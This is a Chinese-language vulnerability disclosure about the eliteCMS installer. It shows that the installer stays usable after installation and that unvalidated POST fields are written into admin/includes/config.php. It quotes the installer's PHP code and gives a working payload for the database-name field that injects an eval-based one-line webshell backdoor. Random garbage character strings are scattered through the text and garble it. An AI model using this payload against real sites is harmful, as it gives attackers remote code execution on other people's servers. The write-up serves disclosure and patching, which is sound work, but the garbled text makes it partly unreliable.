eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

$ O$ J& f+ M- c5 C, v( z2 t另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
& C: Y: r" j0 _% x' H: F8 t我们来看代码：
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- ^9 y. _6 v8 B5 G$ R  P$ j...
# v0 {% b# j& D7 U& \9 oelseif ($_GET['step'] == "4") {
. T# x% z9 h4 T, Z    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
- y% I( n- M1 U8 t6 ?# V5 A    $write .= "\n";
% _1 i* o5 \9 W3 r2 T# n    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) d# p# }! p# h; r    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ v' L" P( B. y1 r% {: C0 F2 s    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
2 i) G  i9 H8 n0 T8 R1 l+ A    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
5 n  i0 |! _' p7 p    $write .= "        \n";
    $write .= "} \n";
4 v6 b7 T& n; J6 Z, i6 @! G    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
0 ]- \) c. \/ r% ?4 I% Q9 b3 n    $write .= "?>\n";
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2 Q0 v" _: F8 ~' L- U4 A    $writer = fopen($file, 'w');
...

在看代码：

" D2 O7 w0 T2 y, P" C7 J- L  t$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
  g' s6 y8 q) U0 [5 l( D0 p0 P+ [8 @$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

7 m6 E& \. l2 U取值未作任何验证
- |* `1 _. W2 C0 q+ \如果将数据库名POST数据：

/ E0 K, C: U. \3 H) ^0 v- f"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php
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